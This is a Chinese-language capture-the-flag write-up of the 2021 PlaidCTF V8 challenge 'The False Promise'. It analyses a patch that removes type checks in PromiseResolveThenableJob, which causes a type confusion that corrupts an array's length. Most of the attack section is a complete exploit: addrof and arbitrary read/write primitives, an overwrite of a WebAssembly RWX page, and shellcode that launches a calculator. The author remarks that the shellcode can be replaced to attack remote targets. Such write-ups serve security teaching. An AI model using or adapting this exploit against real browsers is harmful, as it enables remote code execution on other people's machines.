2021 PlaidCTF-The False Promise

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题目分析

题目的diff文件如下:

diff --git a/src/builtins/promise-jobs.tq b/src/builtins/promise-jobs.tq
index 80e98f373b..ad5eb093e8 100644
--- a/src/builtins/promise-jobs.tq
+++ b/src/builtins/promise-jobs.tq
@@ -23,10 +23,8 @@ PromiseResolveThenableJob(implicit context: Context)(
   // debugger is active, to make sure we expose spec compliant behavior.
   const nativeContext = LoadNativeContext(context);
   const promiseThen = *NativeContextSlot(ContextSlot::PROMISE_THEN_INDEX);
-  const thenableMap = thenable.map;
-  if (TaggedEqual(then, promiseThen) && IsJSPromiseMap(thenableMap) &&
-      !IsPromiseHookEnabledOrDebugIsActiveOrHasAsyncEventDelegate() &&
-      IsPromiseSpeciesLookupChainIntact(nativeContext, thenableMap)) {
+  if (TaggedEqual(then, promiseThen) &&
+      !IsPromiseHookEnabledOrDebugIsActiveOrHasAsyncEventDelegate()) {
     // We know that the {thenable} is a JSPromise, which doesn't require
     // any special treatment and that {then} corresponds to the initial
     // Promise.prototype.then method. So instead of allocating a temporary

可以发现patch去除了某些检查,导致更容易进入if分支并执行,很明显这是一个类型混淆的漏洞

patch后的完整一点的代码如下:

[...]
// https://tc39.es/ecma262/#sec-promiseresolvethenablejob
transitioning builtin
PromiseResolveThenableJob(implicit context: Context)(
    promiseToResolve: JSPromise, thenable: JSReceiver, then: JSAny): JSAny {
  // We can use a simple optimization here if we know that {then} is the
  // initial Promise.prototype.then method, and {thenable} is a JSPromise
  // whose
  // @@species lookup chain is intact: We can connect {thenable} and
  // {promise_to_resolve} directly in that case and avoid the allocation of a
  // temporary JSPromise and the closures plus context.
  //
  // We take the generic (slow-)path if a PromiseHook is enabled or the
  // debugger is active, to make sure we expose spec compliant behavior.
  const nativeContext = LoadNativeContext(context);
  const promiseThen = *NativeContextSlot(ContextSlot::PROMISE_THEN_INDEX);
  if (TaggedEqual(then, promiseThen) &&
      !IsPromiseHookEnabledOrDebugIsActiveOrHasAsyncEventDelegate()) {
    // We know that the {thenable} is a JSPromise, which doesn't require
    // any special treatment and that {then} corresponds to the initial
    // Promise.prototype.then method. So instead of allocating a temporary
    // JSPromise to connect the {thenable} with the {promise_to_resolve},
    // we can directly schedule the {promise_to_resolve} with default
    // handlers onto the {thenable} promise. This does not only save the
    // JSPromise allocation, but also avoids the allocation of the two
    // resolving closures and the shared context.
    //
    // What happens normally in this case is
    //
    //   resolve, reject = CreateResolvingFunctions(promise_to_resolve)
    //   result_capability = NewPromiseCapability(%Promise%)
    //   PerformPromiseThen(thenable, resolve, reject, result_capability)
    //
    // which means that PerformPromiseThen will either schedule a new
    // PromiseReaction with resolve and reject or a PromiseReactionJob
    // with resolve or reject based on the state of {thenable}. And
    // resolve or reject will just invoke the default [[Resolve]] or
    // [[Reject]] functions on the {promise_to_resolve}.
    //
    // This is the same as just doing
    //
    //   PerformPromiseThen(thenable, undefined, undefined,
    //   promise_to_resolve)
    //
    // which performs exactly the same (observable) steps.
    return PerformPromiseThen(
        UnsafeCast<JSPromise>(thenable), UndefinedConstant(),
        UndefinedConstant(), promiseToResolve);
  [...]

跟进到src/builtins/promise-abstract-operations.tqPerformPromiseThen函数

// https://tc39.es/ecma262/#sec-performpromisethen
transitioning builtin
PerformPromiseThen(implicit context: Context)(
    promise: JSPromise, onFulfilled: Callable|Undefined,
    onRejected: Callable|Undefined, resultPromise: JSPromise|Undefined): JSAny {
  PerformPromiseThenImpl(promise, onFulfilled, onRejected, resultPromise);
  return resultPromise;
}

@export
transitioning macro PerformPromiseThenImpl(implicit context: Context)(
    promise: JSPromise, onFulfilled: Callable|Undefined,
    onRejected: Callable|Undefined,
    resultPromiseOrCapability: JSPromise|PromiseCapability|Undefined): void {
    DebugBreak();
  if (promise.Status() == PromiseState::kPending) {
    // The {promise} is still in "Pending" state, so we just record a new
    // PromiseReaction holding both the onFulfilled and onRejected callbacks.
    // Once the {promise} is resolved we decide on the concrete handler to
    // push onto the microtask queue.
    const handlerContext = ExtractHandlerContext(onFulfilled, onRejected);
    const promiseReactions =
        UnsafeCast<(Zero | PromiseReaction)>(promise.reactions_or_result);
    const reaction = NewPromiseReaction(
        handlerContext, promiseReactions, resultPromiseOrCapability,
        onFulfilled, onRejected);
    promise.reactions_or_result = reaction;  <--
  } else {
[...]
  promise.SetHasHandler();
}

可以发现如果我们的thenable不是JSPromise,那么在PerformPromiseThenImpl的时候就会将reaction写入promise.reactions_or_result中,导致可能会改变传入的thenable的内容

题目给的chromiumcommitca01b9e37ff412d2693fdcdef75812ae0bbbd386,但是这是一个v8的洞,所以我们直接使用v8调更方便一些,v8的版本是9.2.44

我们编写如下代码进行测试:

var thenable = [1.1,2.2,3.3,4.4]
new Object();
thenable.then = Promise.prototype.then

var p = Promise.resolve(thenable);

%DebugPrint(p);
%DebugPrint(thenable);

function pwn () {
    %DebugPrint(thenable);
    %SystemBreak();
}
setTimeout(() => pwn() , 4);

这里的new Object()是为了进入PerformPromiseThenImplif (promise.Status() == PromiseState::kPending)分支

我们加一个断点断在PerformPromiseThenImpl的开头,首先进入 if (promise.Status() == PromiseState::kPending)分支

此时部分寄存器的值的含义如下

RAX 0x3dfb08088b1d <Promise map = 0x3dfb08243091>
RBX 0x3dfb080423b5 <undefined>
RCX 0x3dfb080423b5 <undefined>
RDX 0x3dfb08088a99 <JSArray[4]>

RAX存放的是pRDX存放的是thenable

走到reaction生成完毕

再走一步可以发现promise.reactions_or_result = reaction语句执行完毕,thenablelength已经被修改为了reaction

这样我们便获得了一个OOB的数组,那么我们接下来只需要按照普通的思路进行利用即可

 

EXP

由于是本地V8复现的所以就只在本地弹了个计算器,感兴趣话可以换个shellcode啥的就可以打远程了

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);

function f2i(f){
    float64[0] = f;
    return bigUint64[0];
}

function i2f(i){
    bigUint64[0] = i;
    return float64[0];
}

function hex(i){
    return '0x' + i.toString(16).padStart(16, '0');
}

var thenable = [1.1,2.2,3.3,4.4]
new Object();
thenable.then = Promise.prototype.then

var p = Promise.resolve(thenable);


function pwn() {
    var a = new Array(0x12345678,0,1); 
    var d = [1.1,2.2]

    let idx = thenable.indexOf(i2f(0x000000002468acf0n)); 
    let element_idx = idx + 6; 
    function addrof(obj){
        a[0] = obj;         
        return f2i(thenable[idx]);
    }

    function arb_read(addr){
        thenable[element_idx] = i2f((4n << 32n) + addr - 8n);
        return f2i(d[0]);
    }

    function arb_write(addr,data){
        thenable[element_idx] = i2f((4n << 32n) + addr - 8n);
        d[0] = i2f(data);
    }
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;
    var buf = new ArrayBuffer(0x100);
    var dataview = new DataView(buf);

    var wasm_instance_addr = addrof(wasmInstance) - 1n;
    console.log("[+]leak wasm instance addr: " + hex(wasm_instance_addr));
    var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n);
    console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));

    var buf_addr = addrof(buf)  - 1n;
    var backing_store = buf_addr + 0x14n;

    var shellcode = [0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

    arb_write(backing_store,rwx_page_addr);

    for(var i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4 * i, shellcode[i], true);
    }

    f();
}
setTimeout(() => pwn() , 4);

 

Reference

https://hackmd.io/@aventador/BJkOOyi8u

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